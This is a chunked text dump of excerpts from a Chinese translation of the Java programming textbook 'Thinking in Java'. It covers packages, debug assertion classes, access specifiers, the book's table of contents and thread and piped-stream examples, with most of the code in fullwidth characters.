ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（ｆｌｏａｔ ｆ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｆ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（ｄｏｕｂｌｅ ｄ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｄ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔ（ｂｏｏｌｅａｎ ｂ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｂ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（Ｏｂｊｅｃｔ ｏｂｊ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｏｂｊ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（ｃｈａｒ［］ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（ｃｈａｒ ｃ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｃ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（ｌｏｎｇ ｌ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌ）； ｝ １２７ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（ｆｌｏａｔ ｆ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｆ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（ｄｏｕｂｌｅ ｄ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｄ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｒｉｎｔｌｎ（ｂｏｏｌｅａｎ ｂ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｂ）；"},
    {"text": "如下所示： ／／： ＴｏｏｌＴｅｓｔ．ｊａｖａ ／／ Ｕｓｅｓ ｔｈｅ ｔｏｏｌｓ ｌｉｂｒａｒｙ ｉｍｐｏｒｔ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＴｏｏｌＴｅｓｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｐ．ｒｉｎｔｌｎ（＂Ａｖａｉｌａｂｌｅ ｆｒｏｍ ｎｏｗ ｏｎ！"},
    {"text": "｝ ｝ ／／／：￣ 所以从现在开始，无论什么时候只要做出了一个有用的新工具，就可将其加入 ｔｏｏｌｓ 目录（或者自己的个人 ｕｔｉｌ 或 ｔｏｏｌｓ 目录）。"},
    {"text": "但只要它进入类路径，那 么假若执行的程序需要寻找 ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ 中的类，Ｊａｖａ 首先发现的就是 ＣｏｄｅＰａｃｋａｇｅｒ．ｊａｖａ 中的 Ｐ。"},
    {"text": "这当然是非常令人头疼的，因为我们在前面的类 Ｐ 里明明 看到了这个方法，而且根本没有更多的诊断报告可为我们提供一条线索，让我们知道找到的是一个完全不同 的类（那甚至不是 ｐｕｂｌｉｃ 的）。"},
    {"text": "５ ． １ ． ３ 利用导入改变行为 Ｊａｖａ 已取消的一种特性是 Ｃ 的“条件编译”，它允许我们改变参数，获得不同的行为，同时不改变其他任何 代码。 Ｊａｖａ 之所以抛弃了这一特性，可能是由于该特性经常在 Ｃ 里用于解决跨平台问题：代码的不同部分根 据具体的平台进行编译，否则不能在特定的平台上运行。"},
    {"text": "可用下面这个类进行程序调试： ／／： Ａｓｓｅｒｔ．ｊａｖａ ／／ Ａｓｓｅｒｔｉｏｎ ｔｏｏｌ ｆｏｒ ｄｅｂｕｇｇｉｎｇ ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ．ｄｅｂｕｇ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ａｓｓｅｒｔ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｖｏｉｄ ｐｅｒｒ（Ｓｔｒｉｎｇ ｍｓｇ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ｍｓｇ）； ｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｔｒｕｅ（ｂｏｏｌｅａｎ ｅｘｐ） ｛ ｉｆ（！ ｅｘｐ） ｐｅｒｒ（＂Ａｓｓｅｒｔｉｏｎ ｆａｉｌｅｄ＂）； ｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｆａｌｓｅ（ｂｏｏｌｅａｎ ｅｘｐ）｛ ｉｆ（ｅｘｐ） ｐｅｒｒ（＂Ａｓｓｅｒｔｉｏｎ ｆａｉｌｅｄ＂）； ｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｔｒｕｅ（ｂｏｏｌｅａｎ ｅｘｐ， Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｉｆ（！ ｅｘｐ） ｐｅｒｒ（＂Ａｓｓｅｒｔｉｏｎ ｆａｉｌｅｄ： ＂ ＋ ｍｓｇ）； ｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｆａｌｓｅ（ｂｏｏｌｅａｎ ｅｘｐ， Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｉｆ（ｅｘｐ） ｐｅｒｒ（＂Ａｓｓｅｒｔｉｏｎ ｆａｉｌｅｄ： ＂ ＋ ｍｓｇ）；"},
    {"text": "如果想使用这个类，可在自己的程序中加入下面这一行： ｉｍｐｏｒｔ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ．ｄｅｂｕｇ．＊； 如欲清除断定机制，以便自己能发行最终的代码，我们创建了第二个 Ａｓｓｅｒｔ 类，但却是在一个不同的包里： ／／： Ａｓｓｅｒｔ．ｊａｖａ ／／ Ｔｕｒｎｉｎｇ ｏｆｆ ｔｈｅ ａｓｓｅｒｔｉｏｎ ｏｕｔｐｕｔ ／／ ｓｏ ｙｏｕ ｃａｎ ｓｈｉｐ ｔｈｅ ｐｒｏｇｒａｍ． ｐａｃｋａｇｅ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ； ｐｕｂｌｉｃ ｃｌａｓｓ Ａｓｓｅｒｔ ｛ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｔｒｕｅ（ｂｏｏｌｅａｎ ｅｘｐ）｛｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｆａｌｓｅ（ｂｏｏｌｅａｎ ｅｘｐ）｛｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｔｒｕｅ（ｂｏｏｌｅａｎ ｅｘｐ， Ｓｔｒｉｎｇ ｍｓｇ） ｛｝ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ ｖｏｉｄ ｉｓ＿ｆａｌｓｅ（ｂｏｏｌｅａｎ ｅｘｐ， Ｓｔｒｉｎｇ ｍｓｇ） ｛｝ ｝ ／／／：￣ 现在，假如将前一个 ｉｍｐｏｒｔ 语句变成下面这个样子： ｉｍｐｏｒｔ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ．＊；"},
    {"text": "下面是个例子： １２９ ／／： ＴｅｓｔＡｓｓｅｒｔ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｎｇ ｔｈｅ ａｓｓｅｒｔｉｏｎ ｔｏｏｌ ｐａｃｋａｇｅ ｃ０５； ／／ Ｃｏｍｍｅｎｔ ｔｈｅ ｆｏｌｌｏｗｉｎｇ， ａｎｄ ｕｎｃｏｍｍｅｎｔ ｔｈｅ ／／ ｓｕｂｓｅｑｕｅｎｔ ｌｉｎｅ ｔｏ ｃｈａｎｇｅ ａｓｓｅｒｔｉｏｎ ｂｅｈａｖｉｏｒ： ｉｍｐｏｒｔ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ．ｄｅｂｕｇ．＊； ／／ ｉｍｐｏｒｔ ｃｏｍ．ｂｒｕｃｅｅｃｋｅｌ．ｔｏｏｌｓ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｓｔＡｓｓｅｒｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ａｓｓｅｒｔ．ｉｓ＿ｔｒｕｅ（（２ ＋ ２） ＝＝ ５）； Ａｓｓｅｒｔ．ｉｓ＿ｆａｌｓｅ（（１ ＋ １） ＝＝ ２）； Ａｓｓｅｒｔ．ｉｓ＿ｔｒｕｅ（（２ ＋ ２） ＝＝ ５， ＂２ ＋ ２ ＝＝ ５＂）； Ａｓｓｅｒｔ．ｉｓ＿ｆａｌｓｅ（（１ ＋ １） ＝＝ ２， ＂１ ＋１ ！ ＝ ２＂）；"},
    {"text": "最开始的时 候，ｐａｃｋａｇｅ 关键字的运用可能会令人迷惑，因为除非坚持遵守根据目录路径指定包名的规则，否则就会在 运行期获得大量莫名其妙的消息，指出找不到一个特定的类——即使那个类明明就在相同的目录中。"},
    {"text": "５ ． ２ Ｊ ａ ｖ ａ 访问指示符 针对类内每个成员的每个定义，Ｊａｖａ 访问指示符 ｐｏｕｂｌｉｃ，ｐｒｏｔｅｃｔｅｄ 以及 ｐｒｉｖａｔｅ 都置于它们的最前面— —无论它们是一个数据成员，还是一个方法。"},
    {"text": "这意味着当前包内的其他所有类都能访问“友好的”成员， 但对包外的所有类来说，这些成员却是“私有”（Ｐｒｉｖａｔｅ）的，外界不得访问。"},
    {"text": "因此，我们也说友好元 素拥有“包访问”权限。 友好访问允许我们将相关的类都组合到一个包里，使它们相互间方便地进行沟通。 将类组合到一个包内以后 （这样便允许友好成员的相互访问，亦即让它们“交朋友”），我们便“拥有”了那个包内的代码。"},
    {"text": "（３） 正如以后引入“继承”概念后大家会知道的那样，一个继承的类既可以访问一个 ｐｒｏｔｅｃｔｅｄ 成员，也可 以访问一个 ｐｕｂｌｉｃ 成员（但不可访问 ｐｒｉｖａｔｅ 成员）。"},
    {"text": "５ ． ２ ． ２ ｐ ｕ ｂ ｌ ｉ ｃ ：接口访问 使用 ｐｕｂｌｉｃ 关键字时，它意味着紧随在 ｐｕｂｌｉｃ 后面的成员声明适用于所有人，特别是适用于使用库的客户 程序员。"},
    {"text": "假定我们定义了一个名为 ｄｅｓｓｅｒｔ 的包，其中包含下述单元（若执行该程序时遇到困难，请参考第 ３ 章 ３．１．２ 小节“赋值”）： ／／： Ｃｏｏｋｉｅ．ｊａｖａ ／／ Ｃｒｅａｔｅｓ ａ ｌｉｂｒａｒｙ ｐａｃｋａｇｅ ｃ０５．ｄｅｓｓｅｒｔ；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｏｋｉｅ ｛ ｐｕｂｌｉｃ Ｃｏｏｋｉｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｏｋｉｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｖｏｉｄ ｆｏｏ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆｏｏ＂）；"},
    {"text": "｝ ｝ ／／／：￣ 请记住，Ｃｏｏｋｉｅ．ｊａｖａ 必须驻留在名为 ｄｅｓｓｅｒｔ 的一个子目录内，而这个子目录又必须位于由 ＣＬＡＳＳＰＡＴＨ 指 定的 Ｃ０５ 目录下面（Ｃ０５ 代表本书的第 ５ 章）。"},
    {"text": "index Document Outline Java编程思想第四版.pdf 作者 读者的心声 写在前面的话 引言 目录 第1章 对象入门 1.1 抽象的进步 1.2 对象的接口 1.3 实现方案的隐藏 1.4 方案的重复使用 1.5 继承：重新使用接口 1.5.1 改善基础类 1.5.2 等价与类似关系 1.6 多形对象的互换使用 1.6.1 动态绑定 1.6.2 抽象的基础类和接口 1.7 对象的创建和存在时间 1.7.1 集合与继承器 1.7.2 单根结构 1.7.3 集合库与方便使用集合 1.7.4 清除时的困境：由谁负责清除？"},
    {"text": "1.11.2 客户端编程 1.11.3 服务器端编程 1.11.4 一个独立的领域：应用程序 1.12 分析和设计 1.12.1 不要迷失 1.12.2 阶段0：拟出一个计划 1.12.3 阶段1：要制作什么？"},
    {"text": "第2章 一切都是对象 2.1 用句柄操纵对象 2.2 所有对象都必须创建 2.2.1 保存到什么地方 2.2.2 特殊情况：主要类型 2.2.3 Java的数组 2.3 绝对不要清除对象 2.3.1 作用域 2.3.2 对象的作用域 2.4 新建数据类型：类 2.4.1 字段和方法 2.5 方法、自变量和返回值 2.5.1 自变量列表 2.6 构建Java程序 2.6.1 名字的可见性 2.6.2 使用其他组件 2.6.3 static关键字 2.7 我们的第一个Java程序 2.8 注释和嵌入文档 2.8.1 注释文档 2.8.2 具体语法 2.8.3 嵌入HTML 2.8.4 @see:引用其他类 2.8.5 类文档标记 2.8.6 变量文档标记 2.8.7 方法文档标记 2.8.8 文档示例 2.9 编码样式 2.10 总结 2.11 练习 第3章 控制程序流程 3.1 使用Java运算符 3.1.1 优先级 3.1.2 赋值 3.1.3 算术运算符 3.1.4 自动递增和递减 3.1.5 关系运算符 3.1.6 逻辑运算符 3.1.7 按位运算符 3.1.8 移位运算符 3.1.9 三元if-else运算符 3.1.10 逗号运算符 3.1.11 字串运算符+ 3.1.12 运算符常规操作规则 3.1.13 造型运算符 3.1.14 Java没有“sizeof” 3.1.15 复习计算顺序 3.1.16 运算符总结 3.2 执行控制 3.2.1 真和假 3.2.2 if-else 3.2.3 反复 3.2.4 do-while 3.2.5 for 3.2.6 中断和继续 3.2.7 开关 3.3 总结 3.4 练习 第4章 初始化和清除 4.1 用构建器自动初始化 4.2 方法过载 4.2.1 区分过载方法 4.2.2 主类型的过载 4.2.3 返回值过载 4.2.4 默认构建器 4.2.5 this关键字 4.3 清除：收尾和垃圾收集 4.3.1 finalize()用途何在 4.3.2 必须执行清除 4.4 成员初始化 4.4.1 规定初始化 4.4.2 构建器初始化 4.5 数组初始化 4.5.1 多维数组 4.6 总结 4.7 练习 第5章 隐藏实施过程 5.1 包：库单元 5.1.1 创建独一无二的包名 5.1.2 自定义工具库 5.1.3 利用导入改变行为 5.1.4 包的停用 5.2 Java访问指示符 5.2.1 “友好的” 5.2.2 public：接口访问 5.2.3 private：不能接触！"},
    {"text": "5.2.4 protected：“友好的一种” 5.3 接口与实现 5.4 类访问 5.5 总结 5.6 练习 第6章 类再生 6.1 合成的语法 6.2 继承的语法 6.2.1 初始化基础类 6.3 合成与继承的结合 6.3.1 确保正确的清除 6.3.2 名字的隐藏 6.4 到底选择合成还是继承 6.5 protected 6.6 累积开发 6.7 上溯造型 6.7.1 何谓“上溯造型”？ 6.8 final关键字 6.8.1 final数据 6.8.2 final方法 6.8.3 final类 6.8.4 final的注意事项 6.9 初始化和类装载 6.9.1 继承初始化 6.10 总结 6.11 练习 第7章 多形性 7.1 上溯造型 7.1.1 为什么要上溯造型 7.2 深入理解 7.2.1 方法调用的绑定 7.2.2 产生正确的行为 7.2.3 扩展性 7.3 覆盖与过载 7.4 抽象类和方法 7.5 接口 7.5.1 Java的“多重继承” 7.5.2 通过继承扩展接口 7.5.3 常数分组 7.5.4 初始化接口中的字段 7.6 内部类 7.6.1 内部类和上溯造型 7.6.2 方法和作用域中的内部类 7.6.3 链接到外部类 7.6.4 static内部类 7.6.5 引用外部类对象 7.6.6 从内部类继承 7.6.7 内部类可以覆盖吗？ 7.6.8 内部类标识符 7.6.9 为什么要用内部类：控制框架 7.7 构建器和多形性 7.7.1 构建器的调用顺序 7.7.2 继承和finalize() 7.7.3 构建器内部的多形性方法的行为 7.8 通过继承进行设计 7.8.1 纯继承与扩展 7.8.2 下溯造型与运行期类型标识 7.9 总结 7.10 练习 第8章 对象的容纳 8.1 数组 8.1.1 数组和第一类对象 8.1.2 数组的返回 8.2 集合 8.2.1 缺点：类型未知 8.3 枚举器（反复器） 8.4 集合的类型 8.4.1 Vector 8.4.2 BitSet 8.4.3 Stack 8.4.4 Hashtable 8.4.5 再论枚举器 8.5 排序 8.6 通用集合库 8.7 新集合 8.7.1 使用Collections 8.7.2 使用Lists 8.7.3 使用Sets 8.7.4 使用Maps 8.7.5 决定实施方案 8.7.6 未支持的操作 8.7.7 排序和搜索 8.7.8 实用工具 8.8 总结 8.9 练习 第9章 违例差错控制 9.1 基本违例 9.1.1 违例自变量 9.2 违例的捕获 9.2.1 try块 9.2.2 违例控制器 9.2.3 违例规范 9.2.4 捕获所有违例 9.2.5 重新“掷”出违例 9.3 标准Java违例 9.3.1 RuntimeException的特殊情况 9.4 创建自己的违例 9.5 违例的限制 9.6 用finally清除 9.6.1 用finally做什么 9.6.2 缺点：丢失的违例 9.7 构建器 9.8 违例匹配 9.8.1 违例准则 9.9 总结 9.10 练习 第10章 Java IO系统 10.1 输入和输出 10.1.1 InputStream的类型 10.1.2 OutputStream的类型 10.2 增添属性和有用的接口 10.2.1 通过FilterInputStream从InputStream里读入数据 10.2.2 通过FilterOutputStream向OutputStream里写入数据 10.3 本身的缺陷：RandomAccessFile 10.4 File类 10.4.1 目录列表器 10.4.2 检查与创建目录 10.5 IO流的典型应用 10.5.1 输入流 10.5.2 输出流 10.5.3 快捷文件处理 10.5.4 从标准输入中读取数据 10.5.5 管道数据流 10.6 StreamTokenizer 10.6.1 StringTokenizer 10.7 Java 1.1的IO流 10.7.1 数据的发起与接收 10.7.2 修改数据流的行为 10.7.3 未改变的类 10.7.4 一个例子 10.7.5 重导向标准IO 10.8 压缩 10.8.1 用GZIP进行简单压缩 10.8.2 用Zip进行多文件保存 10.8.3 Java归档（jar）实用程序 10.9 对象序列化 10.9.1 寻找类 10.9.2 序列化的控制 10.9.3 利用“持久性” 10.10 总结 10.11 练习 第11章 运行期类型鉴定 11.1 对RTTI的需要 11.1.1 Class对象 11.1.2 造型前的检查 11.2 RTTI语法 11.3 反射：运行期类信息 11.3.1 一个类方法提取器 11.4 总结 11.5 练习 第12章 传递和返回对象 12.1 传递句柄 12.1.1 别名问题 12.2 制作本地副本 12.2.1 按值传递 12.2.2 克隆对象 12.2.3 使类具有克隆能力 12.2.4 成功的克隆 12.2.5 Object.clone()的效果 12.2.6 克隆合成对象 12.2.7 用Vector进行深层复制 12.2.8 通过序列化进行深层复制 12.2.9 使克隆具有更大的深度 12.2.10 为什么有这个奇怪的设计 12.3 克隆的控制 12.3.1 副本构建器 12.4 只读类 12.4.1 创建只读类 12.4.2 “一成不变”的弊端 12.4.3 不变字串 12.4.4 String和StringBuffer类 12.4.5 字串的特殊性 12.5 总结 12.6 练习 第13章 创建窗口和程序片 13.1 为何要用AWT？"},
    {"text": "13.2 基本程序片 13.2.1 程序片的测试 13.2.2 一个更图形化的例子 13.2.3 框架方法的演示 13.3 制作按钮 13.4 捕获事件 13.5 文本字段 13.6 文本区域 13.7 标签 13.8 复选框 13.9 单选钮 13.10 下拉列表 13.11 列表框 13.11.1 handleEvent() 13.12 布局的控制 13.12.1 FlowLayout 13.12.2 BorderLayout 13.12.3 GridLayout 13.12.4 CardLayout 13.12.5 GridBagLayout 13.13 action的替代品 13.14 程序片的局限 13.14.1 程序片的优点 13.15 视窗化应用 13.15.1 菜单 13.15.2 对话框 13.16 新型AWT 13.16.1 新的事件模型 13.16.2 事件和接收者类型 13.16.3 用Java 1.1 AWT制作窗口和程序片 13.16.4 再研究一下以前的例子 13.16.5 动态绑定事件 13.16.6 将事务逻辑与UI逻辑区分开 13.16.7 推荐编码方法 13.17 Java 1.1用户接口API 13.17.1 桌面颜色 13.17.2 打印 13.17.3 剪贴板 13.18 可视编程和Beans 13.18.1 什么是Bean 13.18.2 用Introspector提取BeanInfo 13.18.3 一个更复杂的Bean 13.18.4 Bean的封装 13.18.5 更复杂的Bean支持 13.18.6 Bean更多的知识 13.19 Swing入门 13.19.1 Swing有哪些优点 13.19.2 方便的转换 13.19.3 显示框架 13.19.4 工具提示 13.19.5 边框 13.19.6 按钮 13.19.7 按钮组 13.19.8 图标 13.19.9 菜单 13.19.10 弹出式菜单 13.19.11 列表框和组合框 13.19.12 滑杆和进度指示条 13.19.13 树 13.19.14 表格 13.19.15 卡片式对话框 13.19.16 Swing消息框 13.19.17 Swing更多的知识 13.20 总结 13.21 练习 第14章 多线程 14.1 反应灵敏的用户界面 14.1.1 从线程继承 14.1.2 针对用户界面的多线程 14.1.3 用主类合并线程 14.1.4 制作多个线程 14.1.5 Daemon线程 14.2 共享有限的资源 14.2.1 资源访问的错误方法 14.2.2 Java如何共享资源 14.2.3 回顾Java Beans 14.3 堵塞 14.3.1 为何会堵塞 14.3.2 死锁 14.4 优先级 14.4.1 线程组 14.5 回顾runnable 14.5.1 过多的线程 14.6 总结 14.7 练习 第15章 网络编程 15.1 机器的标识 15.1.1 服务器和客户机 15.1.2 端口：机器内独一无二的场所 15.2 套接字 15.2.1 一个简单的服务器和客户机程序 15.3 服务多个客户 15.4 数据报 15.5 一个Web应用 15.5.1 服务器应用 15.5.2 NameSender程序片 15.5.3 要注意的问题 15.6 Java与CGI的沟通 15.6.1 CGI数据的编码 15.6.2 程序片 15.6.3 用C++写的CGI程序 15.6.4 POST的概念 15.7 用JDBC连接数据库 15.7.1 让示例运行起来 15.7.2 查找程序的GUI版本 15.7.3 JDBC API为何如何复杂 15.8 远程方法 15.8.1 远程接口概念 15.8.2 远程接口的实施 15.8.3 创建根与干 15.8.4 使用远程对象 15.8.5 RMI的替选方案 15.9 总结 15.10 练习 第16章 设计范式 16.1 范式的概念 16.1.1 单子 16.1.2 范式分类 16.2 观察器范式 16.3 模拟垃圾回收站 16.4 改进设计 16.4.1 “制作更多的对象” 16.4.2 用于原型创建的一个范式 16.5 抽象的应用 16.6 多重派遣 16.6.1 实现双重派遣 16.7 访问器范式 16.8 RTTI真的有害吗 16.9 总结 16.10 练习 第17章 项目 17.1 文字处理 17.1.1 提取代码列表 17.1.2 检查大小写样式 17.2 方法查找工具 17.3 复杂性理论 17.4 总结 17.5 练习 附录A 使用非JAVA代码 A.1 Java固有接口 A.1.1 调用固有方法 A.1.2 访问JNI函数：JNIEnv自变量 A.1.3 传递和使用Java对象 A.1.4 JNI和Java异常 A.1.5 JNI和线程处理 A.1.6 使用现成代码 A.2 微软的解决方案 A.3 J/Direct A.3.1 @dll.import引导命令 A.3.2 com.ms.win32包 A.3.3 汇集 A.3.4 编写回调函数 A.3.5 其他J/Direct特性 A.4 本原接口（RNI） A.4.1 RNI总结 A.5 Java/COM集成 A.5.1 COM基础 A.5.2 MS Java/COM集成 A.5.3 用Java设计COM服务器 A.5.4 用Java设计COM客户 A.5.5 ActiveX/Beans集成 A.5.6 固有方法与程序片的注意事项 A.6 CORBA A.6.1 CORBA基础 A.6.2 一个例子 A.6.3 Java程序片和CORBA A.6.4 比较CORBA与RMI A.7 总结 附录B 对比C++和Java 附录C Java编程规则 附录D 性能 D.1 基本方法 D.2 寻找瓶颈 D.2.1 安插自己的测试代码 D.2.2 JDK性能评测[2] D.2.3 特殊工具 D.2.4 性能评测的技巧 D.3 提速方法 D.3.1 常规手段 D.3.2 依赖语言的方法 D.3.3 特殊情况 D.4 参考资源 D.4.1 性能工具 D.4.2 Web站点 D.4.3 文章 D.4.4 Java专业书籍 D.4.5 一般书籍 附录E 关于垃圾收集的一些话 附录F 推荐读物"},
    {"text": "index ｝ ｐｕｂｌｉｃ ｓｙｎｃｈｒｏｎｉｚｅｄ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉ＋＋； ｕｐｄａｔｅ（）； ｔｒｙ ｛ ｗａｉｔ（）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｝ ｝ ｝ ｃｌａｓｓ Ｎｏｔｉｆｉｅｒ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ｐｒｉｖａｔｅ ＷａｉｔＮｏｔｉｆｙ２ ｗｎ２； ｐｕｂｌｉｃ Ｎｏｔｉｆｉｅｒ（ＷａｉｔＮｏｔｉｆｙ２ ｗｎ２） ｛ ｔｈｉｓ．ｗｎ２ ＝ ｗｎ２； ｓｔａｒｔ（）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｔｒｙ ｛ ｓｌｅｅｐ（２０００）； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｓｙｎｃｈｒｏｎｉｚｅｄ（ｗｎ２） ｛ ｗｎ２．ｎｏｔｉｆｙ（）；"},
    {"text": "｝ ｝ ｝ ｝ ／／／：Ｃｏｎｔｉｎｕｅｄ 若必须等候其他某些条件（从线程外部加以控制）发生变化，同时又不想在线程内一直傻乎乎地等下去，一 般就需要用到 ｗａｉｔ（）。"},
    {"text": "如 下所示： ／／／：Ｃｏｎｔｉｎｕｉｎｇ ｃｌａｓｓ Ｓｅｎｄｅｒ ｅｘｔｅｎｄｓ Ｂｌｏｃｋａｂｌｅ ｛ ／／ ｓｅｎｄ ５１５ ｐｒｉｖａｔｅ Ｗｒｉｔｅｒ ｏｕｔ； ｐｕｂｌｉｃ Ｓｅｎｄｅｒ（Ｃｏｎｔａｉｎｅｒ ｃ， Ｗｒｉｔｅｒ ｏｕｔ） ｛ ｓｕｐｅｒ（ｃ）； ｔｈｉｓ．ｏｕｔ ＝ ｏｕｔ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｆｏｒ（ｃｈａｒ ｃ ＝ ＇Ａ＇； ｃ ＜＝ ＇ｚ＇； ｃ＋＋） ｛ ｔｒｙ ｛ ｉ＋＋； ｏｕｔ．ｗｒｉｔｅ（ｃ）； ｓｔａｔｅ．ｓｅｔＴｅｘｔ（＂Ｓｅｎｄｅｒ ｓｅｎｔ： ＂ ＋ （ｃｈａｒ）ｃ）； ｓｌｅｅｐ（（ｉｎｔ）（３０００ ＊ Ｍａｔｈ．ｒａｎｄｏｍ（）））； ｝ ｃａｔｃｈ （ＩｎｔｅｒｒｕｐｔｅｄＥｘｃｅｐｔｉｏｎ ｅ）｛｝ ｃａｔｃｈ （ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ ｝ ｝ ｝ ｃｌａｓｓ Ｒｅｃｅｉｖｅｒ ｅｘｔｅｎｄｓ Ｂｌｏｃｋａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｒｅａｄｅｒ ｉｎ； ｐｕｂｌｉｃ Ｒｅｃｅｉｖｅｒ（Ｃｏｎｔａｉｎｅｒ ｃ， Ｒｅａｄｅｒ ｉｎ） ｛ ｓｕｐｅｒ（ｃ）； ｔｈｉｓ．ｉｎ ＝ ｉｎ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｔｒｙ ｛ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉ＋＋； ／／ Ｓｈｏｗ ｐｅｅｋｅｒ ｉｔ＇ｓ ａｌｉｖｅ ／／ Ｂｌｏｃｋｓ ｕｎｔｉｌ ｃｈａｒａｃｔｅｒｓ ａｒｅ ｔｈｅｒｅ： ｓｔａｔｅ．ｓｅｔＴｅｘｔ（＂Ｒｅｃｅｉｖｅｒ ｒｅａｄ： ＂ ＋ （ｃｈａｒ）ｉｎ．ｒｅａｄ（））； ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
